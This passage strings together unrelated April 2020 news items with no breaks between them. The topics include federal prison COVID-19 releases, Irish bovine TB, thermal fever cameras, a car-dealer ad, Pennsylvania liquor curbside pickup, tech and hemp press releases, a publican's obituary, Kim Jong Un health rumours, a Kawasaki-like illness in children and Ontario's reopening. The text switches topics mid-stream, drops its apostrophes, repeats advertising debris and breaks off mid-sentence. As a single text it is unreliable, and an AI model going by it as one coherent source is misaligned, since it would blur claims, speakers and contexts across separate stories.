Correctional Center where roughly 2,400 people are detained, a mere 19 had been tested (as of April 23). Prosecutors know that. And yet they make their arguments [for continued detention]. A third of the incarcerated people at the MCC and MDCroughly 800 peopleare highly vulnerable to severe effects of COVID-19 due to age or medical condition. Thats according to the BOP itself. And yet, prosecutors make their arguments. Advertisement Advertisement Worse still, they have touted BOPs home confinement program as a reason to deny compassionate release. Im sure youre familiar with District Judge Ronnie Abrams calling them out and asking why she shouldnt find that BOP was acting in bad faith in shifting their criteria. To which prosecutors asked for more time because of ongoing uncertainty surrounding the home-confinement eligibility criteria. Uncertainty regarding the criteria? Seriously? Were two months into this crisis. Its been a month since Patrick Jones became the first person in BOP custody to die. Twenty-four others have died since. They cant be bothered to establish knowable criteria and act on those criteria quickly? Advertisement Where do things stand as we head into a new week? Was it easier Friday to gain traction in getting some of your clients out or more of the same? And give me a sense of who these clients are? What makes them candidates for early release under the memo from the attorney general? Advertisement I know of at least one client who received compassionate release on Fridayand was in fact released on Fridaybecause the judge finally had enough of the governments dissembling. But that was over the prosecutors objection. Then there is Desi Glenn. Hes at the MDC. Mr. Glenn is a 62-year-old Vietnam veteran (he served from 1973 to 1976, when he was honorably discharged). He has well-documented (by the VA), severe medical (chronic obstructive pulmonary disease, hepatitis, diabetes) and mental health (PTSD, bipolar, cognitive disorders, depression) issues. He frequently had to use an oxygen tank when he was in the community because his COPD was so bad. He is serving a nine-month sentence for selling $20 worth of heroin to another vet outside the VA hospital in Coatesville, Pennsylvania, and has about three months left to go. His lawyer requested that he be considered by the warden of MDC for compassionate release and home confinement. No response at all. Advertisement Advertisement Advertisement Advertisement Advertisement Tell me a little about your discussions with prison officials, with wardens. Do you get the sense that they are caught in the middle and want to release more prisoners than they so far have released? I am trying to understand where and why there seems to be a disconnect between Barrs memoimmediately maximize releaseand the fact that there havent been as many releases as people expected. I like that you think the wardens talk to us. We occasionally speak with them in meetings with various courthouse actors, but they do not otherwise talk to us or explain their (in)actions. But in my opinion, this isnt a warden problem. The criteria and roadblocks are coming from the attorney general and the director of BOP. If they wanted clear criteria to move people out expeditiously, they could just order it. The AG continues to speak out of both sides of his mouth. He wants the public to think DOJ is taking swift action when in fact they are obstructing responsible release at every turn. As for what BOP can do, there is very little they can do without releasing a significant number of people. The overcrowding makes any sort of real or humane solution impossible. Can they do things better even in light of overcrowded facilities? Yes. They could implement widespread testing. They could provide real protective gear for everyone, including staff. They could do much better at sanitizing and creating hygienic conditions. The ICMSA has rejected the Department of Agriculture's assertion that dairy expansion has played a role in a "marked increase" in national herd incidence for bovine TB. Between January and March, 3.26pc (853) of 26,164 herds tested for bTB have had at least one animal test positive - an increase of 23pc. While bTB levels in many areas are low, there are areas with higher levels of bTB in the north-east (Monaghan, Cavan, Louth and north Meath) as well as parts of Clare, Cork, Wicklow and some other districts. The figures continue the trend of a gradual increase in bTB incidence in Ireland in recent years and have led to significant funding penalties imposed by the EU. While the Department acknowledged that there are many reasons for the increase, often relating to local factors, it said the expansion of the dairy herd since 2015 has played a role, since dairy herds, larger herds, and herds which introduce more cattle are all more at risk of bTB breakdowns. However, ICMSA deputy president Lorcan McCabe disagreed, saying: "We don't see how pointing to a greater number of reactors in dairy herds against a background of greater numbers of dairy herds and greater numbers of dairy animals indicates anything." He said prolonged infections with bTB put severe stress on a farmer's finances and mental health. "It is clear that there are black-spot areas where TB is prominent particularly in Clare, Monaghan, Wicklow and my own county of Cavan, and we have repeatedly lobbied the Department for proper management and support for affected farmers in these areas." McCabe said bTB needed to be tackled "head-on" - meaning that the contribution of wildlife, particularly deer, must be addressed. "Great strides were made with the establishment of the TB Forum in 2019, but this group hasn't met now in over six months," he said. "With the restrictions in place due to Covid, the Department must ensure that TB outbreaks are dealt with swiftly - including the early removal of reactors." Subscriber content preview By STAN CHOE, DAMIAN J. TROISE and ALEX VEIGA AP Business Writers With governments making moves toward letting businesses reopen, stocks rallied worldwide on Monday to kick off a busy week for markets. From Rome, Georgia, to Rome, Italy, companies are watching closely as politicians detail plans to ease up on restrictions meant to slow the coronavirus pandemic but which also erased businesses and jobs. Stores, cruise lines and other businesses whose profits hinge on people stepping outside their homes jumped to some of Monday's biggest gains. The S&P 500 climbed 1.5%. . . . Businesses across the U.S. are considering using thermal imaging cameras to screen customers for fevers, as more states move to reopen their economies in the wake of the coronavirus pandemic. Soon, the devices previously used mostly in airports and transit hubs in Asia could become a common sight at the entrances to grocery stores, restaurants and movie theaters across the country. Using infrared imaging, thermal cameras are able to roughly estimate a person's body temperature from a distance by checking whether it appears elevated compared to the other people passing through the scanner. Now, businesses are testing out using thermal imaging cameras on customers. In Georgia, small grocery store chain City Farmers Market has already rolled out the cameras, according to CBS News. A worker at City Farmers Market in Georgia mans a thermal imaging scanner to check customers as they enter the store. More businesses are considering the technology A view of a thermal scanner shows how it estimates body temperature from infrared radiation 'Any person registering a temperature of 100.4 F or higher will be discreetly informed by a trained member of our staff and we will find an alternative for your shopping,' the store said in a statement on its website. Thermal scanners are already in use to screen employees in some critical industries, such as at meat packing plants that have remained open to keep the nation's food supply running. The Smithfield pork plant in Sioux Falls, South Dakota was using thermal cameras at entrances before it was forced to shutter when some 800 employees tested positive for coronavirus, according to a report from the Centers for Disease Control and Prevention. 'What we're seeing is there will be a new normal that will involve thermal screening as a frontline tool,' Chris Bainter, director of global business development at FLIR Systems, told CBS News. A flight passenger is screened with a thermal imaging camera at the Arturo Merino Benitez International Airport in Santiago, Chile on April 20 FLIR has been producing thermal imaging cameras since the SARS epidemic in 2003, when the technology gained widespread use in Asia. FLIR and other companies like Flexible Systems, Thermal Guardian, CrowdRx and more are now manufacturing the cameras for use in airports, healthcare centers and even apartment buildings in New York. The CDC does not appear to have issued any official guidance for businesses on the use of thermal imaging scanners, but the agency's report on the Smithfield plant recommended individual screening using forehead, ear or mouth thermometers. The CDC did not immediately respond to a request for comment from DailyMail.com on Tuesday morning. Experts say that thermal imaging scanners are not as precise as tools used to individually measure a person's temperature. A thermal imaging camera shows the body temperature of a visitor at Giza Systems company in the Egyptian capital Cairo, on April 8 Thermal cameras monitors are used to check the body temperature of passengers at Fiumicino airport, near Rome, on April 15 'The key is that application is not about an absolute temperature measurement. It's more about detecting those individuals with elevated body temperature higher than the last 10 people that had been screened,' Bainter told CBS. The use of thermal imaging cameras may also raise privacy concerns for customers, who may not be aware that health data on them is being collected from a distance. However, Bainter dismissed privacy concerns as unfounded, and said thermal imaging cameras would not be used to collect personal information. 'If you've seen a thermal image you can't really detect exactly who that individual is,' he said. 'We aren't really focused on collecting data of any sort, it's more about as a screening tool.' Zero percent APR financing is available at Fairway Mazda in Savannah Fairway Mazda, a local Mazda dealership in Savannah, is currently offering a special financing rate to drivers in the Savannah area. Customers who lease a new Mazda vehicle right now at the dealership can get a zero percent APR financing rate for up to 63 months. Not all customers can qualify for this special offer. Customers who are interested in purchasing a new Mazda vehicle at this rate should apply for credit approval through Mazda Financial Services. Fairway Mazda offers online credit approval through its website, fairwaymazda.com. Once on the website, customers should select Online Credit Approval from the Finance drop-down menu at the top of the site. This will take them to a quick form that can be submitted to the dealership for approval. Other website functions that customers can use include the comprehensive online inventory that Fairway Mazda offers. This online inventory is searchable and informative, allowing drivers to view important information about available vehicles from their home. After researching and picking out a vehicle, customers can select Special Offers from the Specials drop-down menu to see what special rates are currently available. Drivers can also find contact information online. Drivers who are interested in learning more about special offers, online credit approval or Mazda vehicles are encouraged to contact a staff member at Fairway Mazda. Drivers can find contact information on Our Team and Contact Us under the About Us drop-down menu. They can call, email or visit in person to contact the dealership. The Pennsylvania Liquor Control Board has expanded curbside pickup service to 389 more Fine Wine & Good Spirits locations across the commonwealth. "We'll have 565 Fine Wine & Good Spirits stores across Pennsylvania accepting orders by phone for curbside pickup," said PLCB Chairman Tim Holden. "We acknowledge that Pennsylvanians are frustrated with busy signals and want broader access to wine and spirits, so after learning from our experiences this past week, we've made improvements to process orders faster, expand the hours we take orders by phone, and be more flexible in scheduling pickups, even the same day, if pickup appointments are available." The expanded list of stores offering curbside service is available online at http://www.lcb.pa.gov/Consumers/Documents/Store_List_Phase_2.pdf. Most stores will support curbside service Monday through Saturday taking a limited number of orders on a first-call, first-served basis beginning at 9 a.m. each day and scheduling pickup appointments between 9 a.m. and 6 p.m. those days but some stores will operate on more limited days and hours. Each store has its own unique inventory and staff will guide callers through the products available for purchase before finalizing each order and taking payment by phone. At pickup, customers will be required to present identification before the order is delivered. Curbside pickup orders will be limited to up to six bottles per order, and credit cards are the only accepted form of payment. Orders will also be limited to one order per caller, per store, per day, and all curbside pickup sales are final. Stores will continue to accept the first 50-100 orders placed each day, on a first-call, first-served basis, until fulfillment capacity grows to accept more orders per day. Orders will only be accepted by the store's published phone number; no orders will be accepted by email or voicemail. "We're making strides in expanding service to Fine Wine & Good Spirits customers, and we hope that adding hundreds more locations for curbside pickup will help us get through this surge of demand for wine and spirits," said Mr. Holden. "Once again, we ask customers to remain patient, and we're hopeful that the more e-commerce and curbside pickup orders we can process, over time, the better we'll be able to serve more and more Pennsylvanians through this pandemic." On Monday, April 20, the first day curbside pickup was introduced at 176 Fine Wine & Good Spirts locations across Pennsylvania, the PLCB transacted nearly 6,000 curbside orders for $569,000 in sales. Tuesday, 8,000 orders for $756,000 were sold, Wednesday, 11,300 orders for $1.05 million were sold, and Thursday saw 12,800 orders for $1.27 million. In its first four days, the PLCB's curbside pickup program sold 38,145 orders totaling $3.64 million. Sales figures are preliminary and unaudited. The PLCB also continues to grow e-commerce sales at FineWineAndGoodSpirits.com, now with more than 100 locations picking and packing e-commerce orders. Website access continues to be randomized to avoid overwhelming the site with high traffic and prolong access throughout the day, although daily orders have increased exponentially. Preliminary, unaudited sales figures indicate online orders from April 1 through 23 totaled 74,624 for $7.11 million. In fiscal year 2018-19, e-commerce sales between July 1, 2018, and June 30, 2019, totaled 39,000 orders for $5 million. The following places and means for obtaining beverage alcohol continue during the current public health crisis. Nearly 1,000 licensed producers in Pennsylvania including breweries, wineries, and distilleries may still sell their own products for off-premises consumption. Restaurant and eating place licensees (bars, taverns, bottle shops, pizza/sub shops, supermarkets, convenience stores, etc.) can sell beer to go, up to 192 ounces (generally two six packs) per transaction. Restaurant licensees that also have wine expanded permits including grocery stores and convenience stores may also sell up to three liters of wine to go, per transaction. Beer distributors in Pennsylvania may continue sales for off-premises consumption. Residents remain able to purchase wine from more than 1,200 licensed direct wine shippers. The PLCB is not considering reopening stores to the public at this time, although the agency continues to monitor the situation in consultation with the Wolf Administration and public health officials. Ontotext Platform 3.1 Features GraphQL Mutation and Federation, Schema Generation, Access Control and API Gateway SOFIA, Bulgaria, April 28, 2020 /PRNewswire/ -- Ontotext has released the 3.1 version of Ontotext Platform - an advanced platform for organizing enterprise knowledge into knowledge graphs. The new release packs a lot of major new capabilities and features such as easy modification of knowledge graphs via GraphQL Mutations, more comprehensive access control via fine-grained role management and single point access across multiple services via GraphQL Federation. It also adds an experimental functionality for easy generation of initial Semantic Objects models from OWL ontologies. Knowledge graphs enable unified information across the enterprise, enriched with contextual and semantic relevance across the silos. They facilitate agile exploration and discovery of relations that reveal critical patterns and insights supporting the organization's business goals. In this way, they provide the underpinning of modern approaches to organizing machine learning input and output and enable Explainable AI. Ontotext Platform lowers the cost and time to build and manage knowledge graphs. It combines the latest software engineering tendencies such as GraphQL-based APIs with knowledge representation principles and the RDF technology stack. At the same time, with the introduction of Semantic Objects, the Platform presents abstractions that are comfortable to business users. With Ontotext Platform 3.1, the development of knowledge graphs is even faster. The Platform automatically generates interfaces to create, update and delete concepts from the Semantic Objects model. These graph mutation functions help focusing on what to update instead of how. Developing company-wide knowledge graphs also requires a reliable security model. Version 3.1 includes declarative Role-Based Access Control (RBAC) to secure the company knowledge without bespoke software development. It allows security experts and administrators to define mappings between corporate directories and the Semantic Object operations. Ontotext Platform is based on open standards and allows easy extensions. Version 3.1 brings support for extending the Semantic Objects via Apollo Federation with external services to either virtualize or integrate those services. The federation provides a mechanism to combine multiple GraphQL endpoints and schema into a single aggregate endpoint and composite schema. The federation remains transparent for the clients and allows them to fetch data from any number of sources simultaneously, without needing to know which data comes from which source. GraphQL federation allows unified access to data that are part of a knowledge graph with data from graph agnostic systems. To reduce the learning curve for all clients who want to start using the Platform, there is a new experimental schema generation functionality that provides an easy way to generate an initial Semantic Objects model based on RDFS, OWL or schema.org ontologies. The model can be used directly in the Platform or modified and extended using the Semantic Objects Modeling Language. Platform version 3.1 introduces significant deployment infrastructure advances: Helm charts for Kubernetes deployment that supports easy extension with custom services packaged as Docker containers. Also, it provides a command-line tool that automates the initial Ontotext Platform infrastructure configuration, reducing the complexity and errors of manual configuration, and making it more efficient. The Platform Gateway provides a centralized security point for service routing, JWT token validation, throttling and more. Last but not least, version 3.1 improves operations infrastructure: health checks; operational dashboards for service monitoring, exploration and alerting (Grafana); efficient services for metric collection (Telegraf) and storage (InfluxDB), as well as other functionalities that are necessary for highly-available business-critical production services. The Ontotext Platform team has many other interesting new features in store for its users, so stay tuned. Get the latest Ontotext Platform now. About Ontotext For over two decades Ontotext has brought together knowledge, data and analytics transforming how organizations identify meaning across diverse databases and massive amounts of unstructured data through knowledge graphs. Ontotext makes tailor-made solutions across multiple sectors: media and publishing, healthcare and life sciences, government and cultural heritage, financial services and more. Their client list includes news and media agencies like the BBC and Financial Times, top Academic publishers like Elsevier, Springer Nature and Wiley, leading pharmacological companies such as AstraZeneca, public institutions including the UK Parliament, Kadastr.NL and US Department of Defense, and cultural institutions like the British Museum, The National Gallery of USA and Getty Trust. Photo: https://mma.prnewswire.com/media/1160194/Ontotext_Platform_News.jpg Logo: https://mma.prnewswire.com/media/448827/Ontotext_Logo.jpg Tributes have been paid to a popular Co Down bar owner who had been pulling pints of Guinness in his pub for 70 years. Henry Kavanagh (94) passed away peacefully on Sunday, having poured his last pint in Fearon's on March 15 this year. Born in east Belfast, he joined the Merchant Navy during the Second World War as a communications officer. After the war a chance visit to a dance in Warrenpoint changed his life when he met Bronagh Fearon. The couple married in 1950 and they took over Fearon's, which belonged to Bronagh's father and had been in the family since 1820. After his wife passed away 25 years ago he kept working in Fearon's, known to regulars as Henry's, until Covid-19 forced pubs to close. A funeral notice said the great-grandfather had been a devoted husband and loving father of David, Mary and the late Paul. His funeral will take place today in St Mary's Star of the Sea Church, Rostrevor, with burial afterwards in Kilbroney Cemetery. Covid-19 restrictions mean no wake was held and the funeral is restricted to immediate family members. A box has been placed outside the family home/pub for those wishing to leave Mass cards. Those wishing to pay their respects may do so outside as the hearse makes its way to the chapel and on to the cemetery. People can only gather with members of the same household. Family friend Damian Goodman (36) worked in Fearon's as a student and shared a love of sailing on Carlingford Lough with Henry. "I kept taking him out on the boats up until the summer of 2018. He was always very active with walking and swimming," he told the Belfast Telegraph. "His grandson Sean and I had driven him down quite recently to look at a boat. "At 93 he asked if he could climb onto it. I told him we were only supposed to be looking at it, but he was still trying to get the foot up and it was hilarious. "He was great guy, I must say, and an absolute gentlemen." Fearon's is known as a bar for a chat, only open in the evenings and with no Wi-Fi, TV or music. Local cafe manager Peter McGrath Jr (26) wrote a poem in tribute to Mr Kavanagh. "In the war he was a Morse code operator and still had the Morse code machine in the bar. "He would show people how to order a pint of Guinness in Morse code. He was a character and a gentleman." The new development will be built in Ballybrit, Galway A 101-unit development with a playground and two-storey creche has been approved for the Galway suburb of Ballybrit. An Bord Pleanala gave fast-track approval for the developers, Trean Meadow, to build the new community on Ballybane More Road, 5 kilometres northeast of Galway city centre. The developers had proposed a 102-unit development of houses, duplexes and apartments. The board ordered one two-bed unit removed to ensure that at least 15pc of the site remains as open public space. Trean Meadow was allowed to apply directly to An Bord Pleanala, bypassing Galway City Council, under the Governments strategic housing rules. In force since 2017, these powers are designed to speed delivery of new homes with a minimum project size of 100 units. Galways development plan projects its population will grow by more than 51,000 to top 145,000 by 2040. The Ballybane More site is near the Briarhill shopping centre and Merlin Park University Hospital. The plan as approved calls for 12 one-bed units, 78 two beds, and eight three-bed and three four-bed homes. Most houses are in six-unit terraced blocks. The board required the developers to provide 105 car parking spaces for residents, including 10pc with electrical charging points, and 150 spaces for bicycles. In the center of the COVID-19 pandemic, hospitals are racing to maintain quality care for patients with severe disease while facing a shortage of resources and limited understanding of the novel coronavirus. One physician on the front lines--Dr. Ariel Jaitovich, a pulmonary and critical care physician at the Albany Medical Center in New York--sought out a collaboration with investigators at the Morgridge Institute for Research and the Department of Biomolecular Chemistry at the University of Wisconsin School of Medicine and Public Health (SMPH) to better understand the molecular profile of COVID-19 and provide insights that may improve treatment. "It's a new disease. Two months ago, we knew nothing about it," says Jaitovich. "What we are trying to do now is do systematic work to better understand what this disease is about." By analyzing approximately 150 patient COVID-19 samples from the Albany Medical Center, the collaborative research team is hoping to better understand what factors influence whether a patient will suffer from complications such as acute respiratory distress syndrome (ARDS). One example is the immunological concept of a cytokine storm--where the inflammatory response of the immune system goes into over-drive--as a possible trigger for ARDS. "There's no clear understanding of whether these people who do really bad are the ones who have a toxic level of inflammation...if this cytokine storm is necessarily associated with worse outcomes in COVID patients," Jaitovich says. Jaitovich reached out to Morgridge investigator, SMPH professor, and mass spectrometry expert Josh Coon to help because, he says, "Josh runs one of the most sophisticated and advanced labs to investigate proteins." Coon leads the Laboratory for Biomolecular Mass Spectrometry at UW-Madison and he had been looking for a way to leverage his lab's technology to help with the pandemic. The lab's efforts will be managed by LBMS associate director Katie Overmyer and assistant staff scientist Evgenia Shishkova. "It's what we do. We take a problem, we apply our technologies. We help our collaborators solve this problem," says Overmyer. The research team is using an approach called mass spectrometry to measure lipids, proteins and other small molecules called metabolites in samples from patients hospitalized with COVID-19. They will be compared to control samples from hospitalized patients who tested negative for COVID-19. The technology allows scientists to identify different compounds and better understand their properties. Coon says it may help them identify molecular signals that might distinguish a mild case from a severe case. Much of the previous research on coronaviruses and influenza has typically focused on proteomics (proteins), lipidomics (lipids), and metabolomics (metabolites) separately, Overmyer notes. "This multi-omic approach is fairly new and not well adopted yet," she says. "I think that's going to be the really powerful tool here, to be able to link those and maybe make better inferences about what's going on than a single [approach] would allow." In addition to the cytokine storm process, Coon says there are other potential indicators of disease severity that involve blood clotting factors in the vessels of the lung. The research team hopes that studying the different proteins, metabolites, and lipids involved in these unique disease mechanisms can reveal more about what is happening in patients with COVID-19. "Can we stratify those patients based on those molecular measurements and help predict what an outcome might be? I think those are the overall goals: to really try to understand what's happening at a molecular level," Coon says. While the Coon laboratory works on characterizing the molecular signatures, Jaitovich's team will also work to identify the genetic influences on the disease. To analyze this data, which involves RNA sequencing, Jaitovich is collaborating with Morgridge bioinformatics experts Ron Stewart and Scott Swanson. "We should be able to get an idea about what genes or gene sets are involved in things like inflammation, and how that might differ between COVID-19 and other ARDS cases," says Stewart, principal investigator and associate director of bioinformatics at Morgridge. Swanson will lead the analysis to determine if there are unique gene expression profiles that might differ between the mild and severe cases. "I can look at those genes, and we have all kinds of databases available to us that tell us about which genes are related to different physiological characteristics," he says. "We're following the footsteps of established techniques that have produced results in this specific domain of ARDS, if not necessarily for coronaviruses. So, I'm optimistic that something intelligible and meaningful will come out of even just that first pass of analysis." By combining the mass spectrometry data with the RNA sequencing data, Jaitovich says that the ultimate outcome of this project is to identify potential targets to help treat the disease. "This is extremely important for many reasons, because you can, for example, intervene early with people who are more likely to do worse over time based on these early identified markers," he says. "You can better allocate resources in a moment in which there is a shortage of resources to deal with this pandemic." The team is working to analyze patient samples as soon as they arrive. "Certainly, as long as we've been in business...there's never been a pandemic like this with such urgency to really come up with a scientific solution," says Coon. "It is difficult, because we deal with real-world problems of patients who are suffering from it or losing loved ones. You know, a lot of anxiety," says Jaitovich. "On the other hand, there is a lot of support, including healthcare workers, patients and families. There is massive support by the institution's leadership...they are all committed to working together toward the common goal: alleviating people's suffering." ### Our one dog is a little older and we would have gotten another dog once she passed, but I thought, why not start a little early? Ginsbach said. I have three teenagers. There would be no other time where we would all be at home at the same time. I thought they could help with the puppy and it be a little distraction from everything going on. Share this article Whatsapp Facebook Twitter Linkedin Kanga Kong and Ros Krasny (Bloomberg) Seoul, South Korea Tue, April 28, 2020 12:20 624 fc6853813033f564188675f8bd4a46e7 2 World kim-jong-un,North-Korea,South-Korea,China Free Speculation about Kim Jong Uns health intensified over the weekend after tantalizing -- yet unverified -- reports about a visit by a Chinese medical team and movements of the North Korean leaders armored train. China sent a team including doctors and senior diplomats to advise its neighbor and longtime ally, Reuters reported on Saturday, citing three people familiar with the matter. Meanwhile, a train resembling one long used by North Korean rulers was parked last week near a coastal leadership compound in Wonsan, according to an analysis of satellite imagery released Sunday by the website 38 North. A prominent South Korea adviser also rejected the notion that Kim was ailing or dead. Our government position is firm, Moon Chung-in, a foreign policy adviser to South Korean President Moon Jae-in, told CNN. He has been staying in the Wonsan area since April 13 with no suspicious movements detected. South Koreas Unification Ministry on Monday reiterated a government assessment made last week that there has been no unusual movement spotted inside North Korea. The latest developments shed little immediate light about the 36-year-old ruler, who US officials said they were told had been in critical condition after cardiovascular surgery. Kim -- a heavy smoker who has gained considerable weight since taking power in 2011 -- hasnt appeared in state media for two weeks, and missed the April 15 birthday celebrations for his late grandfather, state founder Kim Il Sung, for the first time. State media Rodong Sinmun newspapers front page on Monday carried a story of Kim Jong Un expressing gratitude toward his construction workers in Wonsan-Kalma, a tourist beach resort zone that the leader has made one of his signature projects. Another report from KCNA on Monday said Kim sent a message of greeting earlier that day to South African President Cyril Ramaphosa, but its not unusual for state media to report on activities associated with the leader during an absence from the public. The episode renews longstanding questions about the stability of a regime built on iron-fisted authority and a cult of personality for Kim, who has no known successor. Health scares have been a common occurrence over the years, and the leaders medical condition is a closely guarded subject in one of the worlds most secretive states. Any leadership change in North Korea could increase the threat of instability on Chinas border and raise questions about control of the countrys expanding nuclear arsenal. Kim has also been central to US President Donald Trumps so far unsuccessful efforts to get him to reduce his weapons stockpile. The mystery sent journalists, diplomats and non-proliferation experts scouring satellite images, state news outlets and unverified social media feeds for clues about Kim. The hashtag #kimjongundead was the among the top subjects trending globally Saturday on Twitter. The name of his younger sister Kim Yo Jong -- a potential successor -- was also trending in the US. Kim similarly disappeared from state media for six weeks in 2014, prompting speculation that he had been sidelined by gout, an ankle injury or was even overthrown in a coup. He subsequently showed up walking with a cane during a visit to a new residential block. The presence of Kims train in Wonsan, about 230 kilometers (140 miles) east of Pyongyang and the site of a palatial family compound, potentially fits with the South Korean account. Under Kim, Wonsan has seen a building boom for tourism facilities and lodgings for the states elite. The area has been a hotbed for missile tests, which are easy for Kim to view when hes at the family compound. The train, which Kim took to his failed summit with Trump in Hanoi, arrived at a nearby railway station on or before April 21, 38 North wrote, citing satellite imagery. The train was spotted again at the station on April 23, and appeared to be repositioned for departure. North Koreas eastern coast saw a burst of military activity on April 14, including cruise missile tests and fighter jet maneuvers, that at the time appeared to be timed to coincide with South Korean parliamentary elections. The next day, Kim was absent from events marking his grandfathers birthday, known as the Day of the Sun and North Koreas most politically significant holiday. Kim was similarly missing from events Saturday marking the anniversary of the Korean Peoples Revolutionary Army, although he also didnt attend the events last year. A delegation led by a senior member of the Chinese Communist Partys International Liaison Department -- which manages relations with North Korea -- departed Beijing on Thursday, Reuters said, adding it wasnt able to immediately determine what the trip signaled about Kims health. Officials with the US National Security Council declined to comment on Saturday. Speculation about Kims condition accelerated after Seoul-based news site Daily NK, reported April 20 that the North Korean leader was recovering from surgery, citing one unidentified person inside the country. CNN reported a short time later that Kim was in grave danger. Trump has since said he believed the CNN report was incorrect, saying he heard they used old documents. Khartoum, Sudan (PANA) - The Sudanese government Tuesday passed a law criminalizing female genital mutilation(FGM), a law pushed back so many times during the rule of ousted President Omar Bashir, official sources said here VANCOUVER, BC, April 28, 2020 /PRNewswire/ -- CanaFarma Hemp Products Corp. (CSE: CNFA.CN) (the "Corporation" or "CanaFarma") is pleased to announce that it has promoted Frank Barone to the position of Chief Operating Officer (COO), as the Corporation continues to build out its executive management team to support its future growth. Over the past 18 years Mr. Barone has co-founded several consumer goods and services companies, including Barmensen Development, Next Gen Health Solutions and Associate Design LLC. Each company specialized in taking nutritional supplements and cosmetics to market using Direct-to-Consumer strategies via both off-line (e.g., TV, Radio, Print), and on-line (e.g., Affiliate Marketing, SEO, Social Media), prior to introducing such products into both electronic and brick and mortar retail. In each instance, Mr. Barone oversaw all aspects of the business, including financial and operational infrastructure, channel strategy, legal and business development. Prior to 2002, Mr. Barone was the Chief Operations Officer for a financial technology holdings company which held two SEC-registered subsidiary broker-dealers. Mr. Barone received his BS from St. John's University and his Juris Doctorate degree from St. John's University School of Law. David Lonsdale, CEO of CanaFarma commented: "We are very pleased to be putting Frank in charge of the operations of CanaFarma. He is a talented and seasoned executive in whom we have a great deal of confidence. I am looking forward to working closely with Frank as we execute on the strategies that we have developed." About CanaFarma Hemp Products Corp. CanaFarma is a full-service company operating in the hemp industry offering a full range of hemp-related products and services. These products and services include growing top-quality hemp, providing hemp-processing services, and offering hemp-based products to consumers utilizing a direct-to-consumer marketing approach. CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION: This news release includes certain "forward-looking statements" under applicable Canadian securities legislation. Forward-looking statements include, but are not limited to, statements with respect to potential future growth. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to general business, economic, competitive, political and social uncertainties, world events and impacts of the COVID-19 virus; and delay or failure to receive board, shareholder or regulatory approvals. Readers should not place undue reliance on forward-looking statements. The Corporation disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as required by law. FOR FURTHER INFORMATION, PLEASE CONTACT: David Lonsdale Chief Executive Officer Phone: (214) 704-7942 Email: [email protected] SOURCE CanaFarma Hemp Products Corp. Related Links https://canafarmacorp.com/ S ome children have died of a new illness that could be linked to coronavirus, the Health Secretary has said. Doctors were sent alerts by the NHS warning of an "infectious pathogen" affecting children that could be "coronavirus related". Matt Hancock told LBC radio: "There are some children who have died who didn't have underlying health conditions. "It's a new disease that we think may be cased by coronavirus and the Covid-19 virus." He added: "We're not 100 per cent sure because some of the people who got it hadn't tested positive, so we're doing a lot of research now... but it's something that we're worried about." The Health Secretary added that he was very worried about the reports and experts are looking into it with great urgency. "It is rare, although it is very significant for those children, who do get it, the number of cases is small." He added: We put out at the weekend a call across the NHS because some cases of this had been identified and then this call essentially says to doctors in other parts of the country have you seen this condition? and then they collate the information and find out whats going on. According to Reuters, doctors in northern Italy have also reported a rise in cases of the syndrome in children under the age of nine. NHS England said severe Covid-19 cases are still very rare in children and that the alert is a standard way of making sure clinicians are made aware of any potential emerging links so they are able to give children and young people the right investigations and care as quickly as possible. Loading.... Symptoms include a high temperature that lasts for five days or more, often with a rash and/or swollen glands in the neck. Patients may also have abdominal pain, "gastrointestinal symptoms" and symptoms of inflammation around the heart. Effects have been seen in both children with and without coronavirus, but there is evidence some patients previously had coronavirus, the alert states. Coronavirus infecting a cell - In pictures 1 /9 Coronavirus infecting a cell - In pictures Coronavirus infecting a cell EPA An image captured and color-enhanced at the National Institute of Allergy and Infectious Diseases (NIAID) Integrated Research Facility (IRF) in Fort Detrick, Maryland, USA and made available by the National Institutes of Health (NIH) shows a colorized scanning electron micrograph of an apoptotic cell (red) heavily infected with SARS-COV-2 virus particles (yellow) EPA The SARS-COV-2 virus begin the infection process of cytoplasm of the cell, inside which is the nucleus, responsible for storing the genetic material of the cell EPA Tthe SARS-COV-2 virus particles after infection and viral replication inside the cell (white circle in the left corner) EPA A series of dark spots, which are viral particles of the SARS-COV-2 virus, trying to infect the cytoplasm of the cell, inside which is the nucleus, responsible for storing the genetic material of the cell EPA An arrow pointing to a novel coronavirus particle attached to cell membranes, displaying its typical glycoprotein spike 'corona' on the viral surface (issued 02 April 2020), seen in an electron microscope image, the first black and white portrait of the SARS-CoV2 virus, which causes the COVID-19 disease EPA An image captured and color-enhanced at the National Institute of Allergy and Infectious Diseases (NIAID) Integrated Research Facility (IRF) in Fort Detrick, Maryland, USA and made available by the National Institutes of Health (NIH) shows a colorized scanning electron micrograph of an apoptotic cell (purple) heavily infected with SARS-COV-2 virus particles (yellow) EPA The alert, tweeted by the Paediatric Intensive Care Society, refers to atypical Kawasaki disease, a condition that mainly affects children under the age of five. However NHS England stressed there is not yet a direct link between the coronavirus and Kawasaki disease. Children also display signs similar to toxic shock syndrome (TSS), a severe illness associated with infections. Professor Simon Kenny, NHS national clinical director for children and young people, said: Thankfully Kawasaki-like diseases are very rare, as currently are serious complications in children related to Covid-19, but it is important that clinicians are made aware of any potential emerging links so that they are able to give children and young people the right care fast. As Premier Doug Ford scrambles to put some meat on the bones of his vague plan for reopening the economy, hes asking businesses to suggest regulatory shortcuts they need to help during the pandemic. One day after releasing a 13-page framework for getting Ontario up and running again that has been panned for lacking any detail, Ford promised to deliver more information later this week. The premier told reporters at his daily teleconference on Tuesday that clear, sector-specific guidelines would be made public within days. Thats expected to address concerns raised by NDP Leader Andrea Horwath and Liberal Leader Steven Del Duca, among others, that his economic restart plan did not offer enough specifics for Ontarians. On Monday, the Progressive Conservatives unveiled a road map to reopening without any dates or firm timelines. That suggests Ontario could remain shut down for months. The report warned the province would need to see a consistent two-to-four week decrease in the number of new daily COVID-19 cases before any prohibitions could be lifted. With sporting events, concerts, and large public gatherings restricted for the foreseeable future, it could be a spring and summer without the Raptors, Leafs, Blue Jays, Toronto FC, or Argonauts. The province has been under a state of emergency since March 17 and all schools are closed until at least June 1. Asked about a Quebec plan to reopen its schools starting May 11, Ford emphasized he had no regrets about playing it safe. I am not going to put our kids at risk, he said. Only essential businesses, such as supermarkets, pharmacies, and liquor and beer stores, are allowed to be open while restaurants are limited to serving takeout meals. Ford touted his decision to liberalize Ontarios 